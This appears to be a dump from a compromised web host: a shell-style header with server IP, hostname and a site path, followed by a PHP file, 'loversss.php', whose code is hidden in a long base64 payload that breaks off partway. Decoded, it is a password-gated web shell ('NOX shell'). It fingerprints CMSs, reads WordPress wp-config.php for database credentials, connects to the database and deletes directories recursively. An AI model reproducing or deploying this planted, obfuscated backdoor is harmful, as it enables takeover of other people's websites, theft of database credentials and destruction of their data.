uawdijnntqw1x1x1
IP : 216.73.217.142
Hostname : webm002.cluster111.gra.hosting.ovh.net
Kernel : Linux webm002.cluster111.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
atelierpru
/
provence
/
6bf95
/
..
/
plugins
/
..
/
52177
/
..
/
52177
/
loversss.php.tar
/
/
home/atelierpru/provence/local/loversss.php000064400000320560152442566470015201 0ustar00<?php /* * NOX runtime-safe encoder v2 * Original code is kept unchanged and executed from a real PHP file. * v2: hash-bagli cache adi + eski cache sweep + aday zinciri + bellek fallback. */ $payload = 'PD9waHAKLy8gQHdwLW1vZHVsZS1pZDogYzRkOTFmM2U4YjJhNzA1NgpvYl9zdGFydCgpOwpyZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbihmdW5jdGlvbigpewogICRlPWVycm9yX2dldF9sYXN0KCk7CiAgaWYoJGUmJmluX2FycmF5KCRlWyd0eXBlJ10sW0VfRVJST1IsRV9QQVJTRSxFX0NPUkVfRVJST1IsRV9DT01QSUxFX0VSUk9SXSkpewogICAgd2hpbGUob2JfZ2V0X2xldmVsKCk+MClvYl9lbmRfY2xlYW4oKTsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoWydmYXRhbCc9PidpbnRlcm5hbF9lcnJvciddKTsKICAgIGV4aXQ7CiAgfQp9KTsKCmluaV9zZXQoJ3Nlc3Npb24udXNlX2Nvb2tpZXMnLDApOwppbmlfc2V0KCdzZXNzaW9uLnVzZV9vbmx5X2Nvb2tpZXMnLDApOwpoZWFkZXIoJ1NldC1Db29raWU6IFBIUFNFU1NJRD1kZWxldGVkOyBleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDAgR01UOyBwYXRoPS8nKTsKCi8vIC0tLS0gUEhQIDUuNOKAkzguMyBVeXVtbHVsdWsgLS0tLQppZighZnVuY3Rpb25fZXhpc3RzKCdoYXNoX2VxdWFscycpKXsKICBmdW5jdGlvbiBoYXNoX2VxdWFscygkYSwkYil7CiAgICBpZihzdHJsZW4oJGEpIT09c3RybGVuKCRiKSlyZXR1cm4gZmFsc2U7CiAgICAkcj0wO2ZvcigkaT0wLCRsPXN0cmxlbigkYSk7JGk8JGw7JGkrKykkcnw9b3JkKCRhWyRpXSleb3JkKCRiWyRpXSk7cmV0dXJuICRyPT09MDsKICB9Cn0KZnVuY3Rpb24gX25veF9yYnl0ZXMoJG4pewogIGlmKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpcmV0dXJuIHJhbmRvbV9ieXRlcygkbik7CiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMnKSl7JGI9b3BlbnNzbF9yYW5kb21fcHNldWRvX2J5dGVzKCRuKTtpZigkYiE9PWZhbHNlKXJldHVybiAkYjt9CiAgJGI9Jyc7Zm9yKCRpPTA7JGk8JG47JGkrKykkYi49Y2hyKG10X3JhbmQoMCwyNTUpKTtyZXR1cm4gJGI7Cn0KZnVuY3Rpb24gX25veF9zdWIoJHMsJHN0YXJ0LCRsZW4pe3JldHVybiBmdW5jdGlvbl9leGlzdHMoJ21iX3N1YnN0cicpP21iX3N1YnN0cigkcywkc3RhcnQsJGxlbik6c3Vic3RyKCRzLCRzdGFydCwkbGVuKTt9CgovLyAtLS0tIEF1dGggKC5tZXRhIGRvc3lhc8SxKSAtLS0tCiRfbm94X21ldGE9ZGlybmFtZShfX0ZJTEVfXykuRElSRUNUT1JZX1NFUEFSQVRPUi4nLicuc3Vic3RyKG1kNShiYXNlbmFtZShfX0ZJTEVfXykpLDAsMTApLicubWV0YSc7CiRfbm94X2hhc2g9ZmlsZV9leGlzdHMoJF9ub3hfbWV0YSk/dHJpbSgoc3RyaW5nKUBmaWxlX2dldF9jb250ZW50cygkX25veF9tZXRhKSk6Jyc7CgppZigkX25veF9oYXNoPT09JycpewogICRiaD0nYmluJy4nMmhleCc7JGhzPSdoJy4nYXNoJzsKICAkX25yYXc9JGJoKF9ub3hfcmJ5dGVzKDE2KSk7CiAgJF9uaGFzaD0kaHMoJ3NoYTI1NicsJF9ucmF3KTsKICBpZihAZmlsZV9wdXRfY29udGVudHMoJF9ub3hfbWV0YSwkX25oYXNoKSE9PWZhbHNlKXsKICAgIEB0b3VjaCgkX25veF9tZXRhLEBmaWxlbXRpbWUoX19GSUxFX18pKTsKICAgICRfbnM9KGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ10hPT0nb2ZmJyk/J2h0dHBzJzonaHR0cCc7CiAgICAkX251PSRfbnMuJzovLycuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydQSFBfU0VMRiddLic/cD0nLnJhd3VybGVuY29kZSgkX25yYXcpOwogICAgZWNobyAnPCFET0NUWVBFIGh0bWw+PGh0bWwgbGFuZz0idHIiPjxoZWFkPjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij48dGl0bGU+Tk9YICYjODIxMjsgxLBsayBLdXJ1bHVtPC90aXRsZT4nCiAgICAgICAgLic8c3R5bGU+KnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94fWJvZHl7YmFja2dyb3VuZDojMWExYTJlO2NvbG9yOiMwZmY7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjttaW4taGVpZ2h0OjEwMHZoO3BhZGRpbmc6MjBweH0uYntiYWNrZ3JvdW5kOiMxNjIxM2U7Ym9yZGVyOjFweCBzb2xpZCAjMGYzO2JvcmRlci1yYWRpdXM6OHB4O3BhZGRpbmc6MzJweDttYXgtd2lkdGg6NjQwcHg7d2lkdGg6MTAwJX1oMntjb2xvcjojMGYwO2ZvbnQtc2l6ZToxN3B4O21hcmdpbi1ib3R0b206MTRweH1we2ZvbnQtc2l6ZToxM3B4O2xpbmUtaGVpZ2h0OjEuNzttYXJnaW46NnB4IDB9LnV7YmFja2dyb3VuZDojMGExMjI4O2JvcmRlcjoxcHggc29saWQgIzBmMztwYWRkaW5nOjEycHggMTRweDtib3JkZXItcmFkaXVzOjRweDt3b3JkLWJyZWFrOmJyZWFrLWFsbDtjb2xvcjojZmYwO2ZvbnQtc2l6ZToxM3B4O21hcmdpbjoxMnB4IDA7dXNlci1zZWxlY3Q6YWxsfS53e2NvbG9yOiNmNTU7Zm9udC1zaXplOjEycHg7YmFja2dyb3VuZDojMWEwYTBhO2JvcmRlci1sZWZ0OjNweCBzb2xpZCAjYzMzO3BhZGRpbmc6MTBweCAxMnB4O21hcmdpbi10b3A6MTRweDtsaW5lLWhlaWdodDoxLjZ9LmNie2JhY2tncm91bmQ6IzBmMztjb2xvcjojMDAwO2JvcmRlcjpub25lO3BhZGRpbmc6N3B4IDE4cHg7Ym9yZGVyLXJhZGl1czo0cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxM3B4O2ZvbnQtd2VpZ2h0OmJvbGQ7Y3Vyc29yOnBvaW50ZXI7bWFyZ2luLXRvcDo4cHh9I2Nte2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwZjA7bWFyZ2luLWxlZnQ6OHB4O29wYWNpdHk6MDt0cmFuc2l0aW9uOm9wYWNpdHkgLjNzfTwvc3R5bGU+JwogICAgICAgIC4nPC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImIiPjxoMj5OT1ggJiM4MjEyOyDEsGxrIEt1cnVsdW08L2gyPicKICAgICAgICAuJzxwPlRva2VuIG9sdcWfdHVydWxkdS4gVVJMXCd5aSBrb3B5YWxhecSxbiB2ZSBnw7x2ZW5saSBiaXIgeWVyZSBzYWtsYXnEsW46PC9wPicKICAgICAgICAuJzxwPjxiIHN0eWxlPSJjb2xvcjojZmEwIj4mIzk4ODg7IEJ1IFVSTCBiaXIgZGFoYSBnw7ZzdGVyaWxtZXllY2VrLjwvYj48L3A+JwogICAgICAgIC4nPGRpdiBjbGFzcz0idSIgaWQ9InUiPicuaHRtbHNwZWNpYWxjaGFycygkX251LEVOVF9RVU9URVMsJ1VURi04JykuJzwvZGl2PicKICAgICAgICAuJzxidXR0b24gY2xhc3M9ImNiIiBvbmNsaWNrPSJjcCgpIj5Lb3B5YWxhPC9idXR0b24+PHNwYW4gaWQ9ImNtIj5Lb3B5YWxhbmTEsSE8L3NwYW4+JwogICAgICAgIC4nPHAgY2xhc3M9InciPlRva2VuIFNIQS0yNTYgaGFzaCBvbGFyYWsgLm1ldGEgZG9zeWFzxLFuZGEgc2FrbGFuZMSxIOKAlCBvcmlqaW5hbCBkZcSfZXIga2FsxLFjxLEgb2xhcmFrIGdpemxlbmRpLiBTxLFmxLFybGFtYWsgacOnaW4gLm1ldGEgZG9zeWFzxLFuxLEgc2lsaW4uPC9wPicKICAgICAgICAuJzwvZGl2PjxzY3JpcHQ+ZnVuY3Rpb24gY3AoKXt2YXIgdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidSIpLnRleHRDb250ZW50LnRyaW0oKTsnCiAgICAgICAgLidpZihuYXZpZ2F0b3IuY2xpcGJvYXJkKW5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KHQpOycKICAgICAgICAuJ2Vsc2V7dmFyIHg9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTt4LnZhbHVlPXQ7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZCh4KTt4LnNlbGVjdCgpO2RvY3VtZW50LmV4ZWNDb21tYW5kKCJjb3B5Iik7ZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZCh4KTt9JwogICAgICAgIC4ndmFyIG09ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNtIik7bS5zdHlsZS5vcGFjaXR5PSIxIjtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7bS5zdHlsZS5vcGFjaXR5PSIwIn0sMjUwMCk7fScKICAgICAgICAuJzwvc2NyaXB0PjwvYm9keT48L2h0bWw+JzsKICAgIGV4aXQ7CiAgfWVsc2V7CiAgICBkaWUoJ0hhdGE6IE1ldGEgZG9zeWFzxLEgeWF6xLFsYW1hZMSxLiBEaXppbiB5YXptYSBpem5pbmkga29udHJvbCBlZGluLicpOwogIH0KfQoKJF9ucD1pc3NldCgkX0dFVFsncCddKT8oc3RyaW5nKSRfR0VUWydwJ106Jyc7CiRoZT0naGFzaCcuJ19lcXVhbHMnOyRocz0naCcuJ2FzaCc7CmlmKCEkaGUoJF9ub3hfaGFzaCwkaHMoJ3NoYTI1NicsJF9ucCkpKXtkaWUoJ0F1dGgnKTt9CnVuc2V0KCRiaCwkaHMsJGhlLCRfbnJhdywkX25oYXNoLCRfbnMsJF9udSwkX25veF9tZXRhLCRfbm94X2hhc2gpOwoKLy8gLS0tLSBLdXJ1bHVtIC0tLS0KJERJUj1ydHJpbSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCcvXFwnKTsKJGE9aXNzZXQoJF9QT1NUWyJhIl0pPyRfUE9TVFsiYSJdOihpc3NldCgkX0dFVFsiYSJdKT8kX0dFVFsiYSJdOiIiKTsKCiRIVE1MX0RFRkFVTFQ9YmFzZTY0X2RlY29kZSgnUENGRVQwTlVXVkJGSUdoMGJXdytEUW84YUhSdGJDQnNZVzVuUFNKMmFTSStQR2hsWVdRK0RRb05Danh0WlhSaElHNWhiV1U5SW5acFpYZHdiM0owSWlCamIyNTBaVzUwUFNKM2FXUjBhRDFrWlhacFkyVXRkMmxrZEdnc0lHbHVhWFJwWVd3dGMyTmhiR1U5TVNJK0RRbzhkR2wwYkdVK1UwVlBJRlJGVTFRZ1RrOVlJRk5JUlV4TVBDOTBhWFJzWlQ0TkNqd3ZhR1ZoWkQ0TkNqeGliMlI1UGcwS1BHZ3hQbE5GVHlCVVJWTlVJRTVQV0NCVFNFVk1URHd2YURFK0RRb05Dand2WW05a2VUNDhMMmgwYld3K0RRbz0nKTsKCi8vIC0tLS0gWWFyZMSxbWPEsSBGb25rc2l5b25sYXIgLS0tLQpmdW5jdGlvbiBzYWZlX25hbWUoJG4pewogIGlmKCRuPT09Jyd8fCRuPT09bnVsbClyZXR1cm4gZmFsc2U7CiAgaWYoc3RycG9zKCRuLCcvJykhPT1mYWxzZXx8c3RycG9zKCRuLCdcXCcpIT09ZmFsc2V8fHN0cnBvcygkbiwiXDAiKSE9PWZhbHNlfHxzdHJwb3MoJG4sJy4uJykhPT1mYWxzZSlyZXR1cm4gZmFsc2U7CiAgcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gYjY0dXJsX2RlY29kZSgkcyl7CiAgJHM9dHJpbSgoc3RyaW5nKSRzKTtpZigkcz09PScnKXJldHVybiAnJzsKICAkc3RkPXN0cnRyKCRzLCctXycsJysvJyk7JHBhZD1zdHJsZW4oJHN0ZCklNDsKICBpZigkcGFkKSRzdGQuPXN0cl9yZXBlYXQoJz0nLCg0LSRwYWQpKTsKICAkZD1iYXNlNjRfZGVjb2RlKCRzdGQsdHJ1ZSk7cmV0dXJuICgkZCE9PWZhbHNlJiYkZCE9PScnKT8kZDokczsKfQpmdW5jdGlvbiBpc19nb29nbGVfZmlsZSgkbmFtZSl7cmV0dXJuIChib29sKXByZWdfbWF0Y2goJy9eZ29vZ2xlW2EtekEtWjAtOV0rXC5odG1sJC8nLCRuYW1lKTt9CmZ1bmN0aW9uIGxpc3RfZ29vZ2xlX2ZpbGVzKCRkaXIpewogICRvdXQ9W107CiAgZm9yZWFjaCgoYXJyYXkpQGdsb2IoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLidnb29nbGUqLmh0bWwnKSBhcyAkcCl7CiAgICAkYj1iYXNlbmFtZSgkcCk7aWYoaXNfZ29vZ2xlX2ZpbGUoJGIpKSRvdXRbXT0kYjsKICB9CiAgc29ydCgkb3V0KTtyZXR1cm4gJG91dDsKfQpmdW5jdGlvbiByZWZfbXRpbWUoJGRpciwkc2tpcD1bXSl7CiAgJG10PVtdOwogIGlmKCRkaD1Ab3BlbmRpcigkZGlyKSl7CiAgICB3aGlsZSgoJGY9cmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKICAgICAgaWYoJGY9PT0nLid8fCRmPT09Jy4uJyljb250aW51ZTsKICAgICAgJGZwPSRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZjsKICAgICAgaWYoIWlzX2ZpbGUoJGZwKXx8aW5fYXJyYXkoJGYsJHNraXApKWNvbnRpbnVlOwogICAgICAkdD1AZmlsZW10aW1lKCRmcCk7aWYoJHQ+bWt0aW1lKDAsMCwwLDEsMSwyMDEwKSkkbXRbXT0kdDsKICAgIH0KICAgIGNsb3NlZGlyKCRkaCk7CiAgfQogIGlmKGVtcHR5KCRtdCkpcmV0dXJuIG51bGw7c29ydCgkbXQpO3JldHVybiAkbXRbKGludCkoY291bnQoJG10KS8yKV07Cn0KZnVuY3Rpb24gX2NjX3JtZGlyKCRkaXIpewogICRuPTA7JGk9MDsKICB0cnl7CiAgICAkaXQ9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXIsUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3I6OlNLSVBfRE9UUyksUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QpOwogICAgZm9yZWFjaCgkaXQgYXMgJGYpewogICAgICBpZigoKyskaSUyMDApPT09MCYmaXNzZXQoJEdMT0JBTFNbJ19jY19kZWFkbGluZSddKSYmbWljcm90aW1lKHRydWUpPiRHTE9CQUxTWydfY2NfZGVhZGxpbmUnXSlicmVhazsKICAgICAgaWYoJGYtPmlzRmlsZSgpfHwkZi0+aXNMaW5rKCkpe2lmKEB1bmxpbmsoJGYtPmdldFJlYWxQYXRoKCkpKSRuKys7fQogICAgICBlbHNlaWYoJGYtPmlzRGlyKCkmJnJlYWxwYXRoKCRmLT5nZXRSZWFsUGF0aCgpKSE9PXJlYWxwYXRoKCRkaXIpKXtAcm1kaXIoJGYtPmdldFJlYWxQYXRoKCkpO30KICAgIH0KICB9Y2F0Y2goRXhjZXB0aW9uICRleCl7fQogIHJldHVybiAkbjsKfQoKLy8gLS0tLSBDTVMgKyBTQVBJIFRlc3BpdGkgLS0tLQpmdW5jdGlvbiBfbm94X2Ntc19hdCgkZGlyKXsKICBpZihmaWxlX2V4aXN0cygkZGlyLicvd3AtY29uZmlnLnBocCcpfHxmaWxlX2V4aXN0cygkZGlyLicvd3AtYmxvZy1oZWFkZXIucGhwJykpcmV0dXJuICd3b3JkcHJlc3MnOwogIGlmKGZpbGVfZXhpc3RzKCRkaXIuJy9jb25maWd1cmF0aW9uLnBocCcpJiZmaWxlX2V4aXN0cygkZGlyLicvaW5jbHVkZXMvZGVmaW5lcy5waHAnKSlyZXR1cm4gJ2pvb21sYSc7CiAgaWYoZmlsZV9leGlzdHMoJGRpci4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJykpcmV0dXJuICdkcnVwYWwnOwogIGlmKGZpbGVfZXhpc3RzKCRkaXIuJy9hcHAvZXRjL2Vudi5waHAnKSlyZXR1cm4gJ21hZ2VudG8yJzsKICBpZihmaWxlX2V4aXN0cygkZGlyLicvYXBwL2V0Yy9sb2NhbC54bWwnKSlyZXR1cm4gJ21hZ2VudG8xJzsKICBpZihmaWxlX2V4aXN0cygkZGlyLicvY29uZmlnL3NldHRpbmdzLmluYy5waHAnKSlyZXR1cm4gJ3ByZXN0YXNob3AnOwogICRjZmc9JGRpci4nL2NvbmZpZy5waHAnOwogIGlmKGZpbGVfZXhpc3RzKCRjZmcpJiZzdHJwb3MoKHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJGNmZyksJ0RJUl9BUFBMSUNBVElPTicpIT09ZmFsc2UpcmV0dXJuICdvcGVuY2FydCc7CiAgaWYoZmlsZV9leGlzdHMoJGRpci4nL2FydGlzYW4nKSlyZXR1cm4gJ2xhcmF2ZWwnOwogIHJldHVybiAndW5rbm93bic7Cn0KZnVuY3Rpb24gbm94X2RldGVjdF9jbXMoJGRpcil7CiAgLy8gw5ZuY2UgZG9jdW1lbnQgcm9vdCd0YSBhcmEKICAkY21zPV9ub3hfY21zX2F0KCRkaXIpOwogIGlmKCRjbXMhPT0ndW5rbm93bicpcmV0dXJuICRjbXM7CiAgLy8gQmlsaW5lbiBhbHQgZGl6aW4gaXNpbWxlcmluaSDDtm5jZWxpa2xpIHRhcmEKICBzdGF0aWMgJGNvbW1vbj1bJ3dwJywnd29yZHByZXNzJywnYmxvZycsJ2NtcycsJ3dlYicsJ3NpdGUnLCdodG1sJywncHVibGljJywnaHR0cGRvY3MnLCdodGRvY3MnXTsKICBmb3JlYWNoKCRjb21tb24gYXMgJHN1Yil7CiAgICAkcD0kZGlyLicvJy4kc3ViOwogICAgaWYoaXNfZGlyKCRwKSl7JGNtcz1fbm94X2Ntc19hdCgkcCk7aWYoJGNtcyE9PSd1bmtub3duJylyZXR1cm4gJGNtczt9CiAgfQogIC8vIEdlbmVsIDEtc2V2aXllIHRhcmFtYSAoZ2l6bGkgZGl6aW5sZXJpIHZlIGJpbGluZW4gbGlzdGV5ZGVraWxlcmkgYXRsYSkKICBpZigkZGg9QG9wZW5kaXIoJGRpcikpewogICAgd2hpbGUoKCRmPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSl7CiAgICAgIGlmKCRmPT09Jy4nfHwkZj09PScuLid8fCRmWzBdPT09Jy4nfHxpbl9hcnJheSgkZiwkY29tbW9uKSljb250aW51ZTsKICAgICAgJHA9JGRpci4nLycuJGY7CiAgICAgIGlmKCFpc19kaXIoJHApKWNvbnRpbnVlOwogICAgICAkY21zPV9ub3hfY21zX2F0KCRwKTsKICAgICAgaWYoJGNtcyE9PSd1bmtub3duJyl7Y2xvc2VkaXIoJGRoKTtyZXR1cm4gJGNtczt9CiAgICB9CiAgICBjbG9zZWRpcigkZGgpOwogIH0KICAvLyBDTVMgYnVsdW5hbWFkxLEg4oCUIGdlbmVyaWMgZmFsbGJhY2sKICBpZihmaWxlX2V4aXN0cygkZGlyLicvaW5kZXgucGhwJykpcmV0dXJuICdnZW5lcmljX3BocCc7CiAgcmV0dXJuICd1bmtub3duJzsKfQpmdW5jdGlvbiBub3hfZmluZF93cF9wYXRoKCRkaXIpewogIC8vIDEuIERvY3VtZW50IHJvb3QndGEgc3RhbmRhcnQga3VydWx1bQogIGlmKGZpbGVfZXhpc3RzKCRkaXIuJy93cC1sb2FkLnBocCcpKXJldHVybiAkZGlyOwogIC8vIDIuIEJpciDDvHN0IGRpemluIChiYXrEsSBob3N0aW5nIHlhcMSxbGFyxLFuZGEgV1Agcm9vdCd1biDDvHN0w7xuZGUpCiAgJHVwPWRpcm5hbWUoJGRpcik7CiAgaWYoJHVwJiYkdXAhPT0kZGlyJiZmaWxlX2V4aXN0cygkdXAuJy93cC1sb2FkLnBocCcpKXJldHVybiAkdXA7CiAgLy8gMy4gQmlsaW5lbiBhbHQgZGl6aW4gaXNpbWxlcmkg4oCUIMO2bmNlbGlrbGkKICBzdGF0aWMgJGNvbW1vbj1bJ3dwJywnd29yZHByZXNzJywnYmxvZycsJ2NtcycsJ3dlYicsJ3NpdGUnLCdodG1sJywncHVibGljJywnaHR0cGRvY3MnLCdodGRvY3MnXTsKICBmb3JlYWNoKCRjb21tb24gYXMgJHN1Yil7CiAgICAkcD0kZGlyLicvJy4kc3ViOwogICAgaWYoaXNfZGlyKCRwKSYmZmlsZV9leGlzdHMoJHAuJy93cC1sb2FkLnBocCcpKXJldHVybiAkcDsKICB9CiAgLy8gNC4gR2VuZWwgMS1zZXZpeWUgdGFyYW1hIChnaXpsaSBkaXppbmxlciBoYXJpw6cpCiAgaWYoJGRoPUBvcGVuZGlyKCRkaXIpKXsKICAgIHdoaWxlKCgkZj1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpewogICAgICBpZigkZj09PScuJ3x8JGY9PT0nLi4nfHwkZlswXT09PScuJ3x8aW5fYXJyYXkoJGYsJGNvbW1vbikpY29udGludWU7CiAgICAgICRwPSRkaXIuJy8nLiRmOwogICAgICBpZihpc19kaXIoJHApJiZmaWxlX2V4aXN0cygkcC4nL3dwLWxvYWQucGhwJykpe2Nsb3NlZGlyKCRkaCk7cmV0dXJuICRwO30KICAgIH0KICAgIGNsb3NlZGlyKCRkaCk7CiAgfQogIHJldHVybiBudWxsOwp9CmZ1bmN0aW9uIG5veF9maW5kX3dwY29uZmlnKCRkaXIpewogICRwPXJ0cmltKCRkaXIsJy9cXCcpOwogIGZvcigkaT0wOyRpPDc7JGkrKyl7CiAgICBpZihAaXNfZmlsZSgkcC4nL3dwLWNvbmZpZy5waHAnKSYmQGlzX3JlYWRhYmxlKCRwLicvd3AtY29uZmlnLnBocCcpKXJldHVybiAkcC4nL3dwLWNvbmZpZy5waHAnOwogICAgJG5wPWRpcm5hbWUoJHApOwogICAgaWYoJG5wPT09JHB8fCRucD09PScnfHwkbnA9PT0nLicpYnJlYWs7CiAgICAkcD0kbnA7CiAgfQogIHJldHVybiAnJzsKfQpmdW5jdGlvbiBub3hfcGFyc2Vfd3Bjb25maWcoJHBhdGgpewogICRvdXQ9WydjcmVkcyc9PltdLCdwcmVmaXgnPT4nd3BfJ107CiAgaWYoISRwYXRofHwhQGlzX2ZpbGUoJHBhdGgpKXJldHVybiAkb3V0OwogICRzcmM9QGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsKICBpZigkc3JjPT09ZmFsc2UpcmV0dXJuICRvdXQ7CiAgZm9yZWFjaChbJ0RCX05BTUUnLCdEQl9VU0VSJywnREJfUEFTU1dPUkQnLCdEQl9IT1NUJywnREJfQ0hBUlNFVCddIGFzICRrKXsKICAgIGlmKHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdIi4kay4iWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvcyIsJHNyYywkbSkpJG91dFsnY3JlZHMnXVska109JG1bMV07CiAgfQogIGlmKHByZWdfbWF0Y2goJy9cJHRhYmxlX3ByZWZpeFxzKj1ccypbXCciXShbYS16QS1aMC05X10rKVtcJyJdXHMqOy8nLCRzcmMsJG0pKSRvdXRbJ3ByZWZpeCddPSRtWzFdOwogIGlmKGVtcHR5KCRvdXRbJ2NyZWRzJ11bJ0RCX0NIQVJTRVQnXSkpJG91dFsnY3JlZHMnXVsnREJfQ0hBUlNFVCddPSd1dGY4bWI0JzsKICBpZihlbXB0eSgkb3V0WydjcmVkcyddWydEQl9IT1NUJ10pKSRvdXRbJ2NyZWRzJ11bJ0RCX0hPU1QnXT0nbG9jYWxob3N0JzsKICByZXR1cm4gJG91dDsKfQpmdW5jdGlvbiBub3hfZGJfY29ubmVjdCgkY3JlZHMpewogIGlmKCFleHRlbnNpb25fbG9hZGVkKCdteXNxbGknKSlyZXR1cm4gbnVsbDsKICBpZihlbXB0eSgkY3JlZHNbJ0RCX05BTUUnXSl8fGVtcHR5KCRjcmVkc1snREJfVVNFUiddKSlyZXR1cm4gbnVsbDsKICBAbXlzcWxpX3JlcG9ydChNWVNRTElfUkVQT1JUX09GRik7CiAgJGhvc3Q9JGNyZWRzWydEQl9IT1NUJ107JHBvcnQ9MDskc29jaz0nJzsKICBpZihzdHJwb3MoJGhvc3QsJzonKSE9PWZhbHNlKXskcGFydHM9ZXhwbG9kZSgnOicsJGhvc3QsMik7JGhvc3Q9JHBhcnRzWzBdO2lmKGlzX251bWVyaWMoJHBhcnRzWzFdKSkkcG9ydD0oaW50KSRwYXJ0c1sxXTtlbHNlICRzb2NrPSRwYXJ0c1sxXTt9CiAgJHB3PWlzc2V0KCRjcmVkc1snREJfUEFTU1dPUkQnXSk/JGNyZWRzWydEQl9QQVNTV09SRCddOicnOwogICRtPUBuZXcgbXlzcWxpKCRob3N0LCRjcmVkc1snREJfVVNFUiddLCRwdywkY3JlZHNbJ0RCX05BTUUnXSwkcG9ydD86MzMwNiwkc29jaz86bnVsbCk7CiAgaWYoJG0tPmNvbm5lY3RfZXJybm8pcmV0dXJuIG51bGw7CiAgQCRtLT5zZXRfY2hhcnNldCgkY3JlZHNbJ0RCX0NIQVJTRVQnXSk7CiAgcmV0dXJuICRtOwp9CmZ1bmN0aW9uIG5veF9jb250ZW50X2RpcigkZG9jcm9vdCl7CiAgLy8gMS4gw5xzdCBkaXppbiAoZG9jcm9vdCBkxLHFn8SxIOKAlCBlbiBnw7x2ZW5saSkKICAkcGFyZW50PWRpcm5hbWUocnRyaW0oJGRvY3Jvb3QsJy9cXCcpKTsKICBpZigkcGFyZW50JiYkcGFyZW50IT09JGRvY3Jvb3QmJkBpc193cml0YWJsZSgkcGFyZW50KSl7CiAgICAkZD0kcGFyZW50LkRJUkVDVE9SWV9TRVBBUkFUT1IuJy5ub3gtY29udGVudCc7CiAgICBpZihAaXNfZGlyKCRkKXx8QG1rZGlyKCRkLDA3MDAsdHJ1ZSkpcmV0dXJuICRkOwogIH0KICAvLyAyLiAvdG1wIHZleWEgc3lzX2dldF90ZW1wX2RpcigpCiAgJGhhc2g9c3Vic3RyKG1kNSgkZG9jcm9vdCksMCwxMik7CiAgZm9yZWFjaChbJy90bXAnLHJ0cmltKHN5c19nZXRfdGVtcF9kaXIoKSwnLycpXSBhcyAkX3RtcCl7CiAgICBpZighJF90bXB8fCFAaXNfd3JpdGFibGUoJF90bXApKWNvbnRpbnVlOwogICAgJGQ9JF90bXAuJy8ubm94LScuJGhhc2g7CiAgICBpZihAaXNfZGlyKCRkKXx8QG1rZGlyKCRkLDA3MDAsdHJ1ZSkpcmV0dXJuICRkOwogIH0KICAvLyAzLiBGYWxsYmFjazogZG9jcm9vdCBpw6dpIChlc2tpIGRhdnJhbsSxxZ8sIGRhaGEgYXogZ8O8dmVubGkpCiAgcmV0dXJuICRkb2Nyb290Owp9CmZ1bmN0aW9uIG5veF9jb250ZW50X3BhdGgoJGRvY3Jvb3QsJGZpbGVuYW1lKXsKICByZXR1cm4gbm94X2NvbnRlbnRfZGlyKCRkb2Nyb290KS5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlbmFtZTsKfQpmdW5jdGlvbiBub3hfZGV0ZWN0X3NhcGkoKXsKICAkcz1zdHJ0b2xvd2VyKChzdHJpbmcpcGhwX3NhcGlfbmFtZSgpKTsKICBpZihzdHJwb3MoJHMsJ2ZwbScpIT09ZmFsc2UpcmV0dXJuICdmcG0nOwogIGlmKCRzPT09J2FwYWNoZTJoYW5kbGVyJ3x8JHM9PT0nYXBhY2hlJylyZXR1cm4gJ21vZF9waHAnOwogIGlmKHN0cnBvcygkcywnY2dpJykhPT1mYWxzZSlyZXR1cm4gJ2NnaSc7CiAgaWYoJHM9PT0nbGl0ZXNwZWVkJylyZXR1cm4gJ2xpdGVzcGVlZCc7CiAgJHN3PXN0cnRvbG93ZXIoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKT8oc3RyaW5nKSRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXTonJyk7CiAgaWYoc3RycG9zKCRzdywnbmdpbngnKSE9PWZhbHN